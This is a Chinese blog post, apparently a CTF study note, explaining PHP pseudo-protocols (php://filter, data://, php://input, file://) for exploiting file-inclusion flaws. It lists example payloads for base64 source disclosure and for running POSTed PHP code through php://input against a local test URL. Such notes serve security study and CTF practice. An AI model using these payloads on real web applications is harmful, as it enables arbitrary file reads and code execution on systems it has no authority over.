php伪协议

本文最后更新于 2025年1月23日 下午

PHP 文件处理与协议流

1. php://filter 协议

php://filter 可以获取指定文件的源码。当它与包含函数结合时,php://filter 流会被当作 PHP 文件执行。为了避免执行,通常对其进行编码,从而实现任意文件读取。

语法

1
php://filter/read=<编码方式>/resource=<文件路径>

示例

  1. Base64 编码读取文件内容

    1
    php://filter/read=convert.base64-encode/resource=index.php

    返回的数据是 Base64 编码后的文件内容。

  2. 直接读取文件内容

    1
    php://filter/resource=index.php

    返回未编码的原始文件内容。


2. data:// 协议

data:// 是一种数据流封装器,用于传递相应格式的数据。当它与包含函数(如 include)结合时,用户输入的 data:// 流会被当作 PHP 文件执行。

语法

1
data://<数据流类型>;<编码格式>,<数据>

示例

  1. Base64 编码数据

    1
    data://text/plain;base64,SSBsb3ZlIFBIUAo=

    解码后为:I love PHP

  2. 普通文本数据

    1
    data://text/plain,welcome to the zjctf

    直接显示:welcome to the zjctf


3. php://input 协议

当遇到 file_get_contents() 函数时,可以使用 php://input 绕过。php://input 可以访问请求的原始数据的只读流,将 POST 请求的数据当作 PHP 代码执行。

使用场景

  • 当传入的参数作为文件名打开时,可以将参数设为 php://input,同时 POST 想要设置的文件内容。PHP 执行时会将 POST 内容当作文件内容,从而导致任意代码执行。

示例

  1. 请求 URL

    1
    http://127.0.0.1/cmd.php?cmd=php://input
  2. POST 数据

    1
    <?php phpinfo(); ?>

4. file:// 协议

file:// 用于访问本地文件系统。

语法

1
file://<文件的绝对路径与文件名>

示例

1
file://D:/flag.txt

总结

协议 用途 示例
php://filter 读取文件内容,支持编码 php://filter/read=convert.base64-encode/resource=index.php
data:// 传递数据流,支持编码 data://text/plain;base64,SSBsb3ZlIFBIUAo=
php://input 读取 POST 请求的原始数据 http://127.0.0.1/cmd.php?cmd=php://input + POST <?php phpinfo();?>
file:// 访问本地文件系统 file://D:/flag.txt


php伪协议
http://page.ccnyy.top/2025/01/21/php伪协议/
作者
ccnyy
发布于
2025年1月21日
更新于
2025年1月23日
许可协议